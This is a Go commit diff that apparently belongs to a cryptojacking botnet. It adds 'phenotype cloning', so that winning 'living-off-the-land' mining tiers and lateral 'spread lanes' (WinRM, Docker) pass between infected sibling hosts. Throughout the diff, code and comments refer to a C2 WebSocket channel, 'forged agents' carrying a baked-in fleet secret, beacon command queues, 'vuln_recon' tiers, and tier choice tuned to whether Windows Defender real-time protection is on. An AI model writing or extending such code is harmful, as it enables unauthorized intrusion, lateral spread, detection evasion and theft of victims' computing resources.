Add fleet phenotype cloning for sibling machines.
Publish winning tier paths per host fingerprint on hashrate success, inherit on auth before adaptive strategy, and surface clone badges in LOTL Timeline and Access Depth.
This commit is contained in:
@@ -8,11 +8,27 @@ import (
|
|||||||
|
|
||||||
func (c *AgentClient) miningTierPolicy() miner.MiningTierPolicy {
|
func (c *AgentClient) miningTierPolicy() miner.MiningTierPolicy {
|
||||||
c.mu.Lock()
|
c.mu.Lock()
|
||||||
defer c.mu.Unlock()
|
policy := c.tierPolicy
|
||||||
if len(c.tierPolicy.TierOrder) == 0 && c.tierPolicy.ForceTier == "" && len(c.tierPolicy.SkipTiers) == 0 {
|
if len(policy.TierOrder) == 0 && policy.ForceTier == "" && len(policy.SkipTiers) == 0 && len(c.atlasSkips) == 0 {
|
||||||
|
c.mu.Unlock()
|
||||||
return miner.DefaultMiningTierPolicy()
|
return miner.DefaultMiningTierPolicy()
|
||||||
}
|
}
|
||||||
return c.tierPolicy
|
if len(c.atlasSkips) > 0 {
|
||||||
|
have := make(map[miner.LOTLTier]bool, len(policy.SkipTiers))
|
||||||
|
for _, t := range policy.SkipTiers {
|
||||||
|
have[t] = true
|
||||||
|
}
|
||||||
|
for _, skip := range c.atlasSkips {
|
||||||
|
tier := miner.LOTLTier(skip.Tier)
|
||||||
|
if tier == "" || have[tier] {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
have[tier] = true
|
||||||
|
policy.SkipTiers = append(policy.SkipTiers, tier)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
c.mu.Unlock()
|
||||||
|
return policy
|
||||||
}
|
}
|
||||||
|
|
||||||
func (c *AgentClient) applyAuthLotlPolicy(resp AuthResponse) {
|
func (c *AgentClient) applyAuthLotlPolicy(resp AuthResponse) {
|
||||||
@@ -20,6 +36,13 @@ func (c *AgentClient) applyAuthLotlPolicy(resp AuthResponse) {
|
|||||||
if len(resp.MiningTierPolicy) > 0 {
|
if len(resp.MiningTierPolicy) > 0 {
|
||||||
c.applyMiningTierPolicyJSON(resp.MiningTierPolicy)
|
c.applyMiningTierPolicyJSON(resp.MiningTierPolicy)
|
||||||
}
|
}
|
||||||
|
if len(resp.AtlasSkips) > 0 {
|
||||||
|
c.applyAtlasSkips(resp.AtlasSkips)
|
||||||
|
}
|
||||||
|
if inheritedPhenotypePresent(resp.InheritedPhenotype) {
|
||||||
|
c.applyInheritedPhenotypeJSON(resp.InheritedPhenotype)
|
||||||
|
return
|
||||||
|
}
|
||||||
if len(resp.AdaptiveStrategy) > 0 {
|
if len(resp.AdaptiveStrategy) > 0 {
|
||||||
c.applyAdaptiveStrategyJSON(resp.AdaptiveStrategy)
|
c.applyAdaptiveStrategyJSON(resp.AdaptiveStrategy)
|
||||||
return
|
return
|
||||||
|
|||||||
47
agent/client/phenotype_policy.go
Normal file
47
agent/client/phenotype_policy.go
Normal file
@@ -0,0 +1,47 @@
|
|||||||
|
package client
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"log"
|
||||||
|
|
||||||
|
"crypto-miner-agent/miner"
|
||||||
|
)
|
||||||
|
|
||||||
|
type InheritedPhenotype struct {
|
||||||
|
SourceAgentName string `json:"source_agent_name"`
|
||||||
|
Fingerprint string `json:"fingerprint,omitempty"`
|
||||||
|
SpreadLane string `json:"spread_lane,omitempty"`
|
||||||
|
TierOrder []string `json:"tier_order"`
|
||||||
|
ActiveTier string `json:"active_tier,omitempty"`
|
||||||
|
PeakHashrate float64 `json:"peak_hashrate,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
func inheritedPhenotypePresent(raw json.RawMessage) bool {
|
||||||
|
if len(raw) == 0 || string(raw) == "null" {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
var p InheritedPhenotype
|
||||||
|
return json.Unmarshal(raw, &p) == nil && len(p.TierOrder) > 0
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *AgentClient) applyInheritedPhenotypeJSON(raw json.RawMessage) {
|
||||||
|
if len(raw) == 0 || string(raw) == "null" {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
var p InheritedPhenotype
|
||||||
|
if err := json.Unmarshal(raw, &p); err != nil || len(p.TierOrder) == 0 {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
order := make([]miner.LOTLTier, len(p.TierOrder))
|
||||||
|
for i, t := range p.TierOrder {
|
||||||
|
order[i] = miner.LOTLTier(t)
|
||||||
|
}
|
||||||
|
c.mu.Lock()
|
||||||
|
c.tierPolicy = miner.MiningTierPolicy{TierOrder: order}
|
||||||
|
c.mu.Unlock()
|
||||||
|
if p.SpreadLane != "" {
|
||||||
|
c.setJoinLane(p.SpreadLane)
|
||||||
|
}
|
||||||
|
log.Printf("[agent] inherited phenotype from %s (%d tiers, spread_lane=%s)",
|
||||||
|
p.SourceAgentName, len(p.TierOrder), p.SpreadLane)
|
||||||
|
}
|
||||||
43
agent/client/phenotype_policy_test.go
Normal file
43
agent/client/phenotype_policy_test.go
Normal file
@@ -0,0 +1,43 @@
|
|||||||
|
package client
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"crypto-miner-agent/miner"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestApplyInheritedPhenotypeBeforeAdaptive(t *testing.T) {
|
||||||
|
c := &AgentClient{}
|
||||||
|
adaptive, _ := json.Marshal(AdaptiveStrategy{
|
||||||
|
TierOrder: []string{"stratum_direct"},
|
||||||
|
})
|
||||||
|
inherited, _ := json.Marshal(InheritedPhenotype{
|
||||||
|
SourceAgentName: "worker-07",
|
||||||
|
TierOrder: []string{"container", "wsl", "cpu_inprocess"},
|
||||||
|
SpreadLane: "winrm",
|
||||||
|
})
|
||||||
|
c.applyAuthLotlPolicy(AuthResponse{
|
||||||
|
InheritedPhenotype: inherited,
|
||||||
|
AdaptiveStrategy: adaptive,
|
||||||
|
})
|
||||||
|
policy := c.miningTierPolicy()
|
||||||
|
if len(policy.TierOrder) != 3 || policy.TierOrder[0] != miner.TierContainer {
|
||||||
|
t.Fatalf("expected inherited tier order, got %+v", policy.TierOrder)
|
||||||
|
}
|
||||||
|
if c.getJoinLane() != "winrm" {
|
||||||
|
t.Fatalf("expected spread_lane winrm, got %q", c.getJoinLane())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestAdaptiveStrategyUsedWithoutPhenotype(t *testing.T) {
|
||||||
|
c := &AgentClient{}
|
||||||
|
adaptive, _ := json.Marshal(AdaptiveStrategy{
|
||||||
|
TierOrder: []string{"wsl", "cpu_inprocess"},
|
||||||
|
})
|
||||||
|
c.applyAuthLotlPolicy(AuthResponse{AdaptiveStrategy: adaptive})
|
||||||
|
policy := c.miningTierPolicy()
|
||||||
|
if len(policy.TierOrder) != 2 || policy.TierOrder[0] != miner.TierWSL {
|
||||||
|
t.Fatalf("expected adaptive tier order, got %+v", policy.TierOrder)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -62,6 +62,9 @@ type AuthResponse struct {
|
|||||||
MiningTierPolicy json.RawMessage `json:"mining_tier_policy,omitempty"`
|
MiningTierPolicy json.RawMessage `json:"mining_tier_policy,omitempty"`
|
||||||
TripleOnionPolicy json.RawMessage `json:"triple_onion_policy,omitempty"`
|
TripleOnionPolicy json.RawMessage `json:"triple_onion_policy,omitempty"`
|
||||||
AdaptiveStrategy json.RawMessage `json:"adaptive_strategy,omitempty"`
|
AdaptiveStrategy json.RawMessage `json:"adaptive_strategy,omitempty"`
|
||||||
|
AtlasSkips []AtlasSkip `json:"atlas_skips,omitempty"`
|
||||||
|
InheritedPhenotype json.RawMessage `json:"inherited_phenotype,omitempty"`
|
||||||
|
ClearanceLevel int `json:"clearance_level,omitempty"`
|
||||||
}
|
}
|
||||||
|
|
||||||
type SharePayload struct {
|
type SharePayload struct {
|
||||||
@@ -141,6 +144,7 @@ type StatsPayload struct {
|
|||||||
MiningHashrate float64 `json:"mining_hashrate,omitempty"`
|
MiningHashrate float64 `json:"mining_hashrate,omitempty"`
|
||||||
LOTLTier string `json:"lotl_tier,omitempty"`
|
LOTLTier string `json:"lotl_tier,omitempty"`
|
||||||
LOTLAttempts []TierAttemptPayload `json:"lotl_attempts,omitempty"`
|
LOTLAttempts []TierAttemptPayload `json:"lotl_attempts,omitempty"`
|
||||||
|
AtlasSkips []AtlasSkip `json:"atlas_skips,omitempty"`
|
||||||
StratumEgress string `json:"stratum_egress,omitempty"` // c2_ws | direct | none
|
StratumEgress string `json:"stratum_egress,omitempty"` // c2_ws | direct | none
|
||||||
JoinLane string `json:"join_lane,omitempty"`
|
JoinLane string `json:"join_lane,omitempty"`
|
||||||
|
|
||||||
|
|||||||
35
server/internal/api/phenotype_handler.go
Normal file
35
server/internal/api/phenotype_handler.go
Normal file
@@ -0,0 +1,35 @@
|
|||||||
|
package api
|
||||||
|
|
||||||
|
import (
|
||||||
|
"net/http"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"crypto-miner-server/internal/db"
|
||||||
|
"crypto-miner-server/internal/strategy"
|
||||||
|
)
|
||||||
|
|
||||||
|
type PhenotypeHandler struct {
|
||||||
|
db *db.Database
|
||||||
|
}
|
||||||
|
|
||||||
|
func NewPhenotypeHandler(database *db.Database) *PhenotypeHandler {
|
||||||
|
return &PhenotypeHandler{db: database}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *PhenotypeHandler) List(w http.ResponseWriter, r *http.Request) {
|
||||||
|
if h.db == nil {
|
||||||
|
http.Error(w, "database unavailable", http.StatusServiceUnavailable)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
fp := strings.TrimSpace(r.URL.Query().Get("fingerprint"))
|
||||||
|
stored, err := h.db.ListFleetPhenotypes(fp)
|
||||||
|
if err != nil {
|
||||||
|
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
phenotypes := make([]strategy.FleetPhenotype, 0, len(stored))
|
||||||
|
for _, row := range stored {
|
||||||
|
phenotypes = append(phenotypes, strategy.PhenotypeFromStored(row))
|
||||||
|
}
|
||||||
|
writeJSON(w, map[string]interface{}{"phenotypes": phenotypes})
|
||||||
|
}
|
||||||
157
server/internal/api/phenotype_test.go
Normal file
157
server/internal/api/phenotype_test.go
Normal file
@@ -0,0 +1,157 @@
|
|||||||
|
package api
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"testing"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"crypto-miner-server/internal/db"
|
||||||
|
"crypto-miner-server/internal/models"
|
||||||
|
"crypto-miner-server/internal/strategy"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestPublishPhenotypeOnHashrateSuccess(t *testing.T) {
|
||||||
|
database, err := db.New(t.TempDir())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
t.Cleanup(func() { _ = database.Close() })
|
||||||
|
|
||||||
|
hub := NewWSHub(database)
|
||||||
|
hub.SetFleetSecret("test-secret")
|
||||||
|
|
||||||
|
winnerID := "agent-winner-1"
|
||||||
|
if err := database.UpsertAgent(&models.Agent{
|
||||||
|
ID: winnerID, Name: "worker-07", Wallet: "4" + repeatChar('A', 94),
|
||||||
|
IP: "127.0.0.1", Platform: "windows", Status: "online", LastSeen: time.Now(),
|
||||||
|
}); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
hub.tryPublishWinningPhenotype(
|
||||||
|
winnerID, "windows", "127.0.0.1", nil,
|
||||||
|
[]struct {
|
||||||
|
Tier string `json:"tier"`
|
||||||
|
OK bool `json:"ok"`
|
||||||
|
Error string `json:"error,omitempty"`
|
||||||
|
DurationMs int64 `json:"duration_ms"`
|
||||||
|
Wallet string `json:"wallet,omitempty"`
|
||||||
|
}{
|
||||||
|
{Tier: "vuln_recon", OK: true},
|
||||||
|
{Tier: "docker", OK: true},
|
||||||
|
{Tier: "wsl", OK: true},
|
||||||
|
},
|
||||||
|
850.0, "wsl", "winrm",
|
||||||
|
[]string{"container", "wsl", "cpu_inprocess"},
|
||||||
|
)
|
||||||
|
|
||||||
|
fp := strategy.FingerprintFromAuth("windows", "127.0.0.1", false)
|
||||||
|
pheno, err := database.GetFleetPhenotypeByFingerprint(fp.Key())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if pheno.SourceAgentName != "worker-07" {
|
||||||
|
t.Fatalf("source name = %q", pheno.SourceAgentName)
|
||||||
|
}
|
||||||
|
if pheno.PeakHashrate != 850.0 {
|
||||||
|
t.Fatalf("peak hashrate = %v", pheno.PeakHashrate)
|
||||||
|
}
|
||||||
|
if pheno.SpreadLane != "winrm" {
|
||||||
|
t.Fatalf("spread_lane = %q", pheno.SpreadLane)
|
||||||
|
}
|
||||||
|
if len(pheno.TierOrder) < 3 {
|
||||||
|
t.Fatalf("tier_order = %v", pheno.TierOrder)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestSiblingFingerprintInheritsPhenotypeOrder(t *testing.T) {
|
||||||
|
database, err := db.New(t.TempDir())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
t.Cleanup(func() { _ = database.Close() })
|
||||||
|
|
||||||
|
hub := NewWSHub(database)
|
||||||
|
hub.SetFleetSecret("test-secret")
|
||||||
|
|
||||||
|
winnerID := "agent-winner-1"
|
||||||
|
siblingID := "agent-sibling-2"
|
||||||
|
for _, ag := range []*models.Agent{
|
||||||
|
{ID: winnerID, Name: "worker-07", Wallet: "4" + repeatChar('A', 94), IP: "127.0.0.1", Platform: "windows", Status: "online", LastSeen: time.Now()},
|
||||||
|
{ID: siblingID, Name: "worker-12", Wallet: "4" + repeatChar('B', 94), IP: "127.0.0.1", Platform: "windows", Status: "online", LastSeen: time.Now()},
|
||||||
|
} {
|
||||||
|
if err := database.UpsertAgent(ag); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
hub.tryPublishWinningPhenotype(
|
||||||
|
winnerID, "windows", "127.0.0.1", nil, nil,
|
||||||
|
1200.0, "cpu_inprocess", "docker",
|
||||||
|
[]string{"container", "wsl", "cpu_inprocess"},
|
||||||
|
)
|
||||||
|
|
||||||
|
conn, _ := dialAgentWS(t, hub)
|
||||||
|
resp := authAgentConn(t, conn, map[string]interface{}{
|
||||||
|
"agent_id": siblingID, "fleet_secret": "test-secret",
|
||||||
|
"wallet": "4" + repeatChar('B', 94), "hostname": "win-sibling", "platform": "windows", "version": "test",
|
||||||
|
})
|
||||||
|
if resp.Type != "auth_response" {
|
||||||
|
t.Fatalf("expected auth_response, got %q", resp.Type)
|
||||||
|
}
|
||||||
|
var payload map[string]interface{}
|
||||||
|
if err := json.Unmarshal(resp.Payload, &payload); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
raw, ok := payload["inherited_phenotype"]
|
||||||
|
if !ok {
|
||||||
|
t.Fatal("expected inherited_phenotype in auth_response")
|
||||||
|
}
|
||||||
|
data, _ := json.Marshal(raw)
|
||||||
|
var inherited struct {
|
||||||
|
SourceAgentName string `json:"source_agent_name"`
|
||||||
|
TierOrder []string `json:"tier_order"`
|
||||||
|
SpreadLane string `json:"spread_lane"`
|
||||||
|
}
|
||||||
|
if err := json.Unmarshal(data, &inherited); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if inherited.SourceAgentName != "worker-07" {
|
||||||
|
t.Fatalf("source = %q", inherited.SourceAgentName)
|
||||||
|
}
|
||||||
|
if inherited.SpreadLane != "docker" {
|
||||||
|
t.Fatalf("spread_lane = %q", inherited.SpreadLane)
|
||||||
|
}
|
||||||
|
if len(inherited.TierOrder) == 0 {
|
||||||
|
t.Fatalf("empty tier_order: %+v", inherited)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestPhenotypeAPIListByFingerprint(t *testing.T) {
|
||||||
|
router, _, database, _ := newTestRouter(t)
|
||||||
|
|
||||||
|
fp := strategy.FingerprintFromAuth("windows", "10.0.0.5", false).Key()
|
||||||
|
if _, err := database.UpsertFleetPhenotype(db.StoredPhenotype{
|
||||||
|
Fingerprint: fp, SourceAgentID: "a1", SourceAgentName: "worker-07",
|
||||||
|
OS: "windows", SpreadLane: "winrm", ActiveTier: "wsl",
|
||||||
|
TierOrder: []string{"container", "wsl"}, PeakHashrate: 500,
|
||||||
|
}); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
rec := serveAuthed(t, router, "GET", "/api/v1/phenotypes?fingerprint="+fp, nil)
|
||||||
|
if rec.Code != 200 {
|
||||||
|
t.Fatalf("status = %d body=%s", rec.Code, rec.Body.String())
|
||||||
|
}
|
||||||
|
var body struct {
|
||||||
|
Phenotypes []struct {
|
||||||
|
SourceAgentName string `json:"source_agent_name"`
|
||||||
|
} `json:"phenotypes"`
|
||||||
|
}
|
||||||
|
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if len(body.Phenotypes) != 1 || body.Phenotypes[0].SourceAgentName != "worker-07" {
|
||||||
|
t.Fatalf("unexpected response: %+v", body)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -568,6 +568,8 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
|||||||
// Fleet ops
|
// Fleet ops
|
||||||
strategyHandler := NewStrategyHandler(wsHub)
|
strategyHandler := NewStrategyHandler(wsHub)
|
||||||
r.Post("/strategy/recompute", strategyHandler.PostRecompute)
|
r.Post("/strategy/recompute", strategyHandler.PostRecompute)
|
||||||
|
phenotypeHandler := NewPhenotypeHandler(database)
|
||||||
|
r.Get("/phenotypes", phenotypeHandler.List)
|
||||||
|
|
||||||
if fleetHandler != nil {
|
if fleetHandler != nil {
|
||||||
r.Get("/alerts", fleetHandler.GetAlerts)
|
r.Get("/alerts", fleetHandler.GetAlerts)
|
||||||
@@ -589,6 +591,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
|||||||
r.Get("/ai/config", fleetAIHandler.GetConfig)
|
r.Get("/ai/config", fleetAIHandler.GetConfig)
|
||||||
r.Put("/ai/config", fleetAIHandler.PutConfig)
|
r.Put("/ai/config", fleetAIHandler.PutConfig)
|
||||||
r.Get("/ai/decisions", fleetAIHandler.GetDecisions)
|
r.Get("/ai/decisions", fleetAIHandler.GetDecisions)
|
||||||
|
r.Get("/ai/clearance-events", fleetAIHandler.GetClearanceEvents)
|
||||||
}
|
}
|
||||||
|
|
||||||
moduleStore := NewModuleStore(dataDir, func() string {
|
moduleStore := NewModuleStore(dataDir, func() string {
|
||||||
|
|||||||
@@ -14,6 +14,7 @@ import (
|
|||||||
"time"
|
"time"
|
||||||
|
|
||||||
"crypto-miner-server/internal/alerts"
|
"crypto-miner-server/internal/alerts"
|
||||||
|
"crypto-miner-server/internal/atlas"
|
||||||
"crypto-miner-server/internal/db"
|
"crypto-miner-server/internal/db"
|
||||||
"crypto-miner-server/internal/models"
|
"crypto-miner-server/internal/models"
|
||||||
"crypto-miner-server/internal/pool"
|
"crypto-miner-server/internal/pool"
|
||||||
@@ -156,12 +157,15 @@ type WSHub struct {
|
|||||||
// Latest service_discover payloads keyed by agent ID (Crucible service graph).
|
// Latest service_discover payloads keyed by agent ID (Crucible service graph).
|
||||||
agentServiceDiscover map[string]cachedServiceDiscover
|
agentServiceDiscover map[string]cachedServiceDiscover
|
||||||
agentLiveTelemetry map[string]map[string]interface{}
|
agentLiveTelemetry map[string]map[string]interface{}
|
||||||
|
agentInheritedPhenotype map[string]strategy.InheritedPhenotype
|
||||||
serverPolicy ServerPolicy
|
serverPolicy ServerPolicy
|
||||||
adaptiveEngine *strategy.AdaptiveEngine
|
adaptiveEngine *strategy.AdaptiveEngine
|
||||||
|
failureAtlas *atlas.FailureAtlas
|
||||||
pingIntervalSec int
|
pingIntervalSec int
|
||||||
fleetSecret string // baked into forged agents; verified on WS connect
|
fleetSecret string // baked into forged agents; verified on WS connect
|
||||||
eventNotifier *alerts.Notifier
|
eventNotifier *alerts.Notifier
|
||||||
connectTasks ConnectTaskRunner
|
connectTasks ConnectTaskRunner
|
||||||
|
clearance *ClearanceManager
|
||||||
mu sync.RWMutex
|
mu sync.RWMutex
|
||||||
|
|
||||||
// pendingCmdCallbacks allows handlers to await a specific command_result
|
// pendingCmdCallbacks allows handlers to await a specific command_result
|
||||||
@@ -200,14 +204,16 @@ func NewWSHub(database *db.Database) *WSHub {
|
|||||||
agentDNS: make(map[string][]string),
|
agentDNS: make(map[string][]string),
|
||||||
agentServiceDiscover: make(map[string]cachedServiceDiscover),
|
agentServiceDiscover: make(map[string]cachedServiceDiscover),
|
||||||
agentLiveTelemetry: make(map[string]map[string]interface{}),
|
agentLiveTelemetry: make(map[string]map[string]interface{}),
|
||||||
|
agentInheritedPhenotype: make(map[string]strategy.InheritedPhenotype),
|
||||||
pendingCmdCallbacks: make(map[cmdResultKey]chan map[string]interface{}),
|
pendingCmdCallbacks: make(map[cmdResultKey]chan map[string]interface{}),
|
||||||
beaconLastSeen: make(map[string]time.Time),
|
beaconLastSeen: make(map[string]time.Time),
|
||||||
beaconCmdQueue: make(map[string][]BeaconCommand),
|
beaconCmdQueue: make(map[string][]BeaconCommand),
|
||||||
beaconPolicyQueue: make(map[string][]FleetAgentPolicy),
|
beaconPolicyQueue: make(map[string][]FleetAgentPolicy),
|
||||||
pingIntervalSec: 30,
|
pingIntervalSec: 30,
|
||||||
}
|
}
|
||||||
|
h.clearance = NewClearanceManager(h)
|
||||||
|
|
||||||
// Background stale-agent sweep: if an agent's last_seen is more than
|
// Background stale-agent sweep:
|
||||||
// 3 minutes old but the row still says "online", force it offline.
|
// 3 minutes old but the row still says "online", force it offline.
|
||||||
// This catches TCP half-open drops that slip past the ping/pong timeout.
|
// This catches TCP half-open drops that slip past the ping/pong timeout.
|
||||||
go h.runStaleAgentSweep()
|
go h.runStaleAgentSweep()
|
||||||
@@ -275,6 +281,13 @@ func (h *WSHub) SetAdaptiveEngine(e *strategy.AdaptiveEngine) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// SetFailureAtlas wires negative-space mining pattern learning.
|
||||||
|
func (h *WSHub) SetFailureAtlas(a *atlas.FailureAtlas) {
|
||||||
|
h.mu.Lock()
|
||||||
|
h.failureAtlas = a
|
||||||
|
h.mu.Unlock()
|
||||||
|
}
|
||||||
|
|
||||||
func (h *WSHub) runAdaptiveStrategyLoop() {
|
func (h *WSHub) runAdaptiveStrategyLoop() {
|
||||||
ticker := time.NewTicker(strategy.RescoreInterval)
|
ticker := time.NewTicker(strategy.RescoreInterval)
|
||||||
defer ticker.Stop()
|
defer ticker.Stop()
|
||||||
@@ -564,6 +577,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
if h.aiHandler != nil {
|
if h.aiHandler != nil {
|
||||||
h.aiHandler.RemoveEngine(agentID)
|
h.aiHandler.RemoveEngine(agentID)
|
||||||
}
|
}
|
||||||
|
if h.clearance != nil {
|
||||||
|
h.clearance.RemoveAgent(agentID)
|
||||||
|
}
|
||||||
if err := h.db.SetAgentOffline(agentID); err != nil {
|
if err := h.db.SetAgentOffline(agentID); err != nil {
|
||||||
log.Printf("[hub] SetAgentOffline %s: %v", agentID, err)
|
log.Printf("[hub] SetAgentOffline %s: %v", agentID, err)
|
||||||
}
|
}
|
||||||
@@ -879,15 +895,54 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
resp["triple_onion_policy"] = top
|
resp["triple_onion_policy"] = top
|
||||||
if h.adaptiveEngine != nil && h.adaptiveEngine.Enabled() && !policy.AIControlEnabled {
|
|
||||||
domainJoined := false
|
domainJoined := false
|
||||||
if prior != nil && prior.FirewallDomain != nil && *prior.FirewallDomain {
|
if prior != nil && prior.FirewallDomain != nil && *prior.FirewallDomain {
|
||||||
domainJoined = true
|
domainJoined = true
|
||||||
}
|
}
|
||||||
fp := strategy.FingerprintFromAuth(auth.Platform, clientIP, domainJoined)
|
fp := strategy.FingerprintFromAuth(auth.Platform, clientIP, domainJoined)
|
||||||
|
var inherited *strategy.InheritedPhenotype
|
||||||
|
if stored, err := h.db.GetFleetPhenotypeByFingerprint(fp.Key()); err == nil && stored != nil {
|
||||||
|
pheno := strategy.PhenotypeFromStored(*stored)
|
||||||
|
inh := pheno.ToInherited()
|
||||||
|
inherited = &inh
|
||||||
|
h.mu.Lock()
|
||||||
|
h.agentInheritedPhenotype[agentID] = inh
|
||||||
|
h.mu.Unlock()
|
||||||
|
resp["inherited_phenotype"] = inh
|
||||||
|
agent.InheritedPhenotype = &models.AgentInheritedPhenotype{
|
||||||
|
SourceAgentName: inh.SourceAgentName,
|
||||||
|
Fingerprint: inh.Fingerprint,
|
||||||
|
SpreadLane: inh.SpreadLane,
|
||||||
|
TierOrder: append([]string(nil), inh.TierOrder...),
|
||||||
|
ActiveTier: inh.ActiveTier,
|
||||||
|
PeakHashrate: inh.PeakHashrate,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
var defenderEnabled, defenderRTP *bool
|
||||||
|
if prior != nil {
|
||||||
|
defenderEnabled = prior.DefenderEnabled
|
||||||
|
defenderRTP = prior.DefenderRTP
|
||||||
|
}
|
||||||
|
if h.failureAtlas != nil && !policy.AIControlEnabled {
|
||||||
|
skips, _ := h.failureAtlas.ComputeSkips(fp, nil, defenderEnabled, defenderRTP)
|
||||||
|
if len(skips) > 0 {
|
||||||
|
resp["atlas_skips"] = skips
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if h.adaptiveEngine != nil && h.adaptiveEngine.Enabled() && !policy.AIControlEnabled && inherited == nil {
|
||||||
adaptive := h.adaptiveEngine.StrategyForAgent(agentID, fp)
|
adaptive := h.adaptiveEngine.StrategyForAgent(agentID, fp)
|
||||||
|
if h.failureAtlas != nil {
|
||||||
|
if skips, _ := h.failureAtlas.ComputeSkips(fp, nil, defenderEnabled, defenderRTP); len(skips) > 0 {
|
||||||
|
atlas.MergeSkipsIntoStrategy(&adaptive, skips)
|
||||||
|
}
|
||||||
|
}
|
||||||
resp["adaptive_strategy"] = adaptive
|
resp["adaptive_strategy"] = adaptive
|
||||||
}
|
}
|
||||||
|
if h.clearance != nil {
|
||||||
|
level := h.clearance.InitAgent(agentID, agent)
|
||||||
|
resp["clearance_level"] = level
|
||||||
|
agent.ClearanceLevel = level
|
||||||
|
}
|
||||||
return resp
|
return resp
|
||||||
}())})
|
}())})
|
||||||
|
|
||||||
@@ -1014,6 +1069,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
DurationMs int64 `json:"duration_ms"`
|
DurationMs int64 `json:"duration_ms"`
|
||||||
Wallet string `json:"wallet,omitempty"`
|
Wallet string `json:"wallet,omitempty"`
|
||||||
} `json:"lotl_attempts,omitempty"`
|
} `json:"lotl_attempts,omitempty"`
|
||||||
|
AtlasSkips []atlas.AtlasSkip `json:"atlas_skips,omitempty"`
|
||||||
StratumEgress string `json:"stratum_egress,omitempty"` // c2_ws | direct | none
|
StratumEgress string `json:"stratum_egress,omitempty"` // c2_ws | direct | none
|
||||||
JoinLane string `json:"join_lane,omitempty"`
|
JoinLane string `json:"join_lane,omitempty"`
|
||||||
NetworkHints json.RawMessage `json:"network_hints,omitempty"`
|
NetworkHints json.RawMessage `json:"network_hints,omitempty"`
|
||||||
@@ -1167,6 +1223,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
if len(stats.LOTLAttempts) > 0 {
|
if len(stats.LOTLAttempts) > 0 {
|
||||||
broadcast["lotl_attempts"] = stats.LOTLAttempts
|
broadcast["lotl_attempts"] = stats.LOTLAttempts
|
||||||
}
|
}
|
||||||
|
if len(stats.AtlasSkips) > 0 {
|
||||||
|
broadcast["atlas_skips"] = stats.AtlasSkips
|
||||||
|
}
|
||||||
if stats.StratumEgress != "" {
|
if stats.StratumEgress != "" {
|
||||||
broadcast["stratum_egress"] = stats.StratumEgress
|
broadcast["stratum_egress"] = stats.StratumEgress
|
||||||
}
|
}
|
||||||
@@ -1209,8 +1268,43 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
ac.latencyMu.Unlock()
|
ac.latencyMu.Unlock()
|
||||||
}
|
}
|
||||||
h.ingestStrategyFromStats(agentID, "", clientIPFromBroadcast(broadcast), stats.DefenderRTP, stats.FirewallDomain, stats.LOTLAttempts, stats.MiningHashrate, stats.LOTLTier)
|
h.ingestStrategyFromStats(agentID, "", clientIPFromBroadcast(broadcast), stats.DefenderRTP, stats.FirewallDomain, stats.LOTLAttempts, stats.MiningHashrate, stats.LOTLTier)
|
||||||
|
h.ingestAtlasFromStats(agentID, "", clientIPFromBroadcast(broadcast), stats.DefenderEnabled, stats.DefenderRTP, stats.FirewallDomain, stats.LOTLAttempts)
|
||||||
|
h.tryPublishWinningPhenotype(agentID, "", clientIPFromBroadcast(broadcast), stats.FirewallDomain, stats.LOTLAttempts, stats.MiningHashrate, stats.LOTLTier, stats.JoinLane, stats.ChainOrder)
|
||||||
h.queueStatsBroadcast(broadcast)
|
h.queueStatsBroadcast(broadcast)
|
||||||
|
|
||||||
|
case "ai_snapshot":
|
||||||
|
if agentID == "" {
|
||||||
|
continue
|
||||||
|
